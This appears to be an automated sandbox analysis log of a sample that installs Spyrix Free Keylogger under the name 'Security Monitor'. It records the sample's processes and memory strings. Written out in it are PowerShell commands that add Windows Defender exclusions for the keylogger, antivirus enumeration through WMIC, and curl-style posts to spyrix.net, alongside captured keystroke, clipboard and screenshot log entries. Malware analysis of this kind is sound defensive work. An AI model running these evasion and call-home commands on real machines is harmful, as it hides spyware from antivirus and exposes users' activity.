Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe "C:\Users\user\AppData\Local\Temp\c8f0ad90-24c5-4e6e-bb8b-4ca36210d878\[space]= .exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\System32\reg.exe reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex" /y
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex" /y
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess '[space]= .*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-MAGA0.tmp\ex" /y
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_StartButton_C79C6F489015E0BC97F892E357DB7156 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_Start_C79C6F489015E0BC97F892E357DB7156 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Run_First_C79C6F489015E0BC97F892E357DB7156 https://spyrix.net/dashboard/prg-actions
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe" "Spyrix Free Keylogger 11.6.22"
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_wizard_Start_C79C6F489015E0BC97F892E357DB7156 https://spyrix.net/dashboard/prg-actions
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c plist.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 20
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 83
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 112
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 121
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 114
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 105
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c exit 120
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq spm.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find "spm"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe TASKLIST /FI "IMAGENAME eq sem.exe" /FO CSV /NH
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://dashboard.spyrix.com/
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat.exe -e

Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe
Source: C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe /F

Source: spkl.exe, 00000038.00000002.2750231481.0000000006AE8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Program Manager02 00:13:12.87
Source: spkl.exe, 00000038.00000002.2750231481.0000000006AC6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:12:55.213","sEvent":"ACTIVITY","SValue":"Start of User Session","sUser":"user","Reserved6":"51"},{"sTime":"2024-10-02 00:13:07.303","sEvent":"APP","SApp":"chrome.exe","sTitle":"Dashboard - Google Chrome","sUser":"user"},{"sTime":"2024-10-02 00:13:07.303","sEvent":"PRG_RUN","SApp":"chrome.exe","sTitle":"Google Chrome","SValue":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe","sUser":"user"},{"sTime":"2024-10-02 00:13:09.353","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","Reserved6":"31"},tch:1;
Source: spkl.exe, 00000038.00000002.2726762987.000000000176E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager:12.877ge
Source: spkl.exe, 00000038.00000002.2746632236.000000000652A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: sTitle":"Program Manager","sUser":"user"}]}
Source: spkl.exe, 00000038.00000003.2640892122.0000000004F02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 24-10-02 00:13:10.127{"sTime":"2024-10-02 00:13:10.127","sdTime":"45567.0091449884","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user","SNode":"1-1"}
Source: spkl.exe, 00000038.00000002.2753080685.0000000007646000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2750231481.0000000006AE8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: spkl.exe, 00000038.00000002.2691175840.0000000000A84000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: @@DOF_PROGMAN
Source: spkl.exe, 00000038.00000003.2640368617.0000000004FE7000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000038.00000003.2657973984.0000000004FE7000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000038.00000003.2661261150.0000000004FE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: I2024-10-02 00:13:10.127{"sTime":"2024-10-02 00:13:10.127","sdTime":"45567.0091449884","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user","SNode":"1-1"}
Source: spkl.exe, 00000038.00000002.2726418979.0000000001755000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000038.00000003.2661261150.0000000004FE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: +2024-10-02 00:13:12.877{"sTime":"2024-10-02 00:13:12.877","sdTime":"45567.0091768171","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","SNode":"1-3","Reserved6":"31"}
Source: spkl.exe, 00000038.00000002.2750231481.0000000006A70000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2753080685.00000000076D0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2746632236.000000000652A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:13:12.877","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","Reserved6":"31"}
Source: spkl.exe, 00000038.00000002.2742570837.000000000457B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: TSCREENSHOT;45567.0091768171;explorer.exe;Program Manager;ID: 31 Window Change;userd"
Source: spkl.exe, 00000038.00000002.2746048085.0000000004F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 24-10-02 00:13:12.877{"sTime":"2024-10-02 00:13:12.877","sdTime":"45567.0091768171","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","SNode":"1-3","Reserved6":"31"}
Source: spkl.exe, 00000038.00000002.2750231481.0000000006AE8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:12:55.213","sEvent":"ACTIVITY","SValue":"Start of User Session","sUser":"user","Reserved6":"51"},{"sTime":"2024-10-02 00:13:07.303","sEvent":"APP","SApp":"chrome.exe","sTitle":"Dashboard - Google Chrome","sUser":"user"},{"sTime":"2024-10-02 00:13:07.303","sEvent":"PRG_RUN","SApp":"chrome.exe","sTitle":"Google Chrome","SValue":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe","sUser":"user"},{"sTime":"2024-10-02 00:13:09.353","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","Reserved6":"31"},{"sTime":"2024-10-02 00:13:10.127","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"},{"sTime":"2024-10-02 00:13:12.877","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","Reserved6":"31"}31"}
Source: spkl.exe, 00000038.00000002.2746632236.0000000006621000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:12:55.213","sEvent":"ACTIVITY","SValue":"Start of User Session","sUser":"user","Reserved6":"51"},{"sTime":"2024-10-02 00:13:07.303","sEvent":"APP","SApp":"chrome.exe","sTitle":"Dashboard - Google Chrome","sUser":"user"},{"sTime":"2024-10-02 00:13:07.303","sEvent":"PRG_RUN","SApp":"chrome.exe","sTitle":"Google Chrome","SValue":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe","sUser":"user"},{"sTime":"2024-10-02 00:13:09.353","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","Reserved6":"31"},{"sTime":"2024-10-02 00:13:10.127","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"}t"}
Source: spkl.exe, 00000038.00000002.2742570837.000000000457B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SCREENSHOT;45567.0091768171;explorer.exe;Program Manager;ID: 31 Window Change;user
Source: spkl.exe, 00000038.00000002.2746632236.00000000065BD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: t{"sTime":"2024-10-02 00:13:10.127","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"}
Source: spkl.exe, 00000038.00000002.2746632236.0000000006500000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: i{"keyboard":"","clipboard":"","url":"","app":"explorer.exe","title":"Program Manager","log":"LOG10ENTRY"}anel
Source: spkl.exe, 00000038.00000002.2742570837.00000000044E6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CPRG_STAT;45567.0091449884;explorer.exe;Program Manager;[0,0];userP
Source: spkl.exe, 00000038.00000002.2756912357.00000000077BD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager:10.12700"
Source: spkl.exe, 00000038.00000002.2742570837.000000000457B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: TSCREENSHOT;45567.0091768171;explorer.exe;Program Manager;ID: 31 Window Change;user"1
Source: spkl.exe, 00000038.00000002.2753080685.00000000076D0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2746632236.000000000652A000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2750231481.0000000006AE8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:13:09.353","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","Reserved6":"31"}
Source: spkl.exe, 00000038.00000002.2753080685.00000000075E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:13:12.877","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","Reserved6":"31"}"
Source: spkl.exe, 00000038.00000003.2640368617.0000000004FE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:13:10.127","sdTime":"45567.0091449884","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user","SNode":"1-1"}
Source: spkl.exe, 00000038.00000003.2657973984.0000000004FE7000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000038.00000003.2661261150.0000000004FE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: o2024-10-02 00:13:10.127{"sTime":"2024-10-02 00:13:10.127","sdTime":"45567.0091449884","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"0","sUser":"user","SNode":"PRG_STAT","Reserved1":"0"}
Source: spkl.exe, 00000038.00000002.2753080685.00000000076C4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: yboard":"","clipboard":"","url":"","app":"explorer.exe","title":"Program Manager","log":"LOG10ENTRY"}
Source: spkl.exe, 00000038.00000002.2758244726.00000000088C6000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2745442098.0000000004D80000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: {"keyboard":"","clipboard":"","url":"","app":"explorer.exe","title":"Program Manager","log":[{"sTime":"2024-10-02 00:12:55.213","sEvent":"ACTIVITY","SValue":"Start of User Session","sUser":"user","Reserved6":"51"},{"sTime":"2024-10-02 00:13:07.303","sEvent":"APP","SApp":"chrome.exe","sTitle":"Dashboard - Google Chrome","sUser":"user"},{"sTime":"2024-10-02 00:13:07.303","sEvent":"PRG_RUN","SApp":"chrome.exe","sTitle":"Google Chrome","SValue":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe","sUser":"user"},{"sTime":"2024-10-02 00:13:09.353","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","Reserved6":"31"},{"sTime":"2024-10-02 00:13:10.127","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"},{"sTime":"2024-10-02 00:13:12.877","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","Reserved6":"31"}]}
Source: spkl.exe, 00000038.00000002.2742570837.000000000455D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:13:12.877","sdTime":"45567.0091768171","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","SNode":"1-3","Reserved6":"31"}zationGuideModelDownloading,OptimizationHintsFetching,OptimizationTargetPrediction,OptimizationHints --start-maximized --load-extension=C:\\Windows\\crx --single-argument https://dashboard.spyrix.com/";ert}
Source: spkl.exe, 00000038.00000002.2742570837.000000000457B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: explorer.exe;Program Manager
Source: spkl.exe, 00000038.00000002.2742570837.000000000457B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VSCREENSHOT;45567.0091768171;explorer.exe;Program Manager;ID: 31 Window Change;user
Source: spkl.exe, 00000038.00000002.2750231481.0000000006A70000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2753080685.00000000076D0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2746632236.000000000652A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:13:10.127","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"}
Source: spkl.exe, 00000038.00000002.2750231481.0000000006AE8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Program Managert Print to PDF
Source: spkl.exe, 00000038.00000002.2746632236.0000000006621000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: [{"sTime":"2024-10-02 00:12:55.213","sEvent":"ACTIVITY","SValue":"Start of User Session","sUser":"user","Reserved6":"51"},{"sTime":"2024-10-02 00:13:07.303","sEvent":"APP","SApp":"chrome.exe","sTitle":"Dashboard - Google Chrome","sUser":"user"},{"sTime":"2024-10-02 00:13:07.303","sEvent":"PRG_RUN","SApp":"chrome.exe","sTitle":"Google Chrome","SValue":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe","sUser":"user"},{"sTime":"2024-10-02 00:13:09.353","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","Reserved6":"31"},{"sTime":"2024-10-02 00:13:10.127","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"}]
Source: spkl.exe, 00000038.00000002.2742570837.000000000457B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: V{"keyboard":"","clipboard":"","url":"","app":"explorer.exe","title":"Program Manager",0s6s
Source: spkl.exe, 00000038.00000003.2657973984.0000000004FE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:13:10.127","sdTime":"45567.0091449884","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"0","sUser":"user","SNode":"PRG_STAT","Reserved1":"0"}
Source: spkl.exe, 00000038.00000002.2742570837.000000000455D000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000003.2661525411.000000000175A000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2742570837.0000000004556000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:13:12.877","sdTime":"45567.0091768171","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","SNode":"1-3","Reserved6":"31"}
Source: spkl.exe, 00000038.00000003.2661525411.000000000175A000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2726418979.000000000175B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:13:12.877","sdTime":"45567.0091768171","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","SNode":"1-3","Reserved6":"31"}**
Source: spkl.exe, 00000038.00000002.2756912357.00000000077BD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:13:12.877","sdTime":"45567.0091768171","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","SNode":"1-3","Reserved6":"31"}tionClassName = "Win32_ComputerSystem";
Source: spkl.exe, 00000038.00000003.2640368617.0000000004FE7000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000038.00000003.2626314828.0000000004FE7000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000038.00000003.2657973984.0000000004FE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: +2024-10-02 00:13:09.353{"sTime":"2024-10-02 00:13:09.353","sdTime":"45567.0091360301","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","SNode":"1-3","Reserved6":"31"}
Source: spkl.exe, 00000038.00000003.2626314828.0000000004FE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:13:09.353","sdTime":"45567.0091360301","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","SNode":"1-3","Reserved6":"31"}
Source: spkl.exe, 00000038.00000002.2726418979.0000000001755000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: +2024-10-02 00:13:09.353{"sTime":"2024-10-02 00:13:09.353","sdTime":"45567.0091360301","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","SNode":"1-3","Reserved6":"31"}ubertQ
Source: spkl.exe, 00000038.00000003.2626606901.0000000004F02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 24-10-02 00:13:09.353{"sTime":"2024-10-02 00:13:09.353","sdTime":"45567.0091360301","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","SNode":"1-3","Reserved6":"31"}
Source: spkl.exe, 00000038.00000002.2750231481.0000000006AE8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: [{"sTime":"2024-10-02 00:12:55.213","sEvent":"ACTIVITY","SValue":"Start of User Session","sUser":"user","Reserved6":"51"},{"sTime":"2024-10-02 00:13:07.303","sEvent":"APP","SApp":"chrome.exe","sTitle":"Dashboard - Google Chrome","sUser":"user"},{"sTime":"2024-10-02 00:13:07.303","sEvent":"PRG_RUN","SApp":"chrome.exe","sTitle":"Google Chrome","SValue":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe","sUser":"user"},{"sTime":"2024-10-02 00:13:09.353","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","Reserved6":"31"},{"sTime":"2024-10-02 00:13:10.127","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"},{"sTime":"2024-10-02 00:13:12.877","sEvent":"SCREENSHOT","SApp":"explorer.exe","sTitle":"Program Manager","SValue":"Window Change","sUser":"user","Reserved6":"31"}]U

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Code function: 71_2_0051EE90 cpuid

71_2_0051EE90

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: GetUserDefaultUILanguage,GetLocaleInfoW,	56_2_0040AD50
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	56_2_0040A298
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpy,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpy,LoadLibraryExA,lstrcpy,LoadLibraryExA,lstrcpy,LoadLibraryExA,	56_2_03374CB8
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: lstrcpy,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpy,LoadLibraryExA,lstrcpy,LoadLibraryExA,lstrcpy,LoadLibraryExA,	56_2_03374D8A
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: GetLocaleInfoA,	56_2_03379C9C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
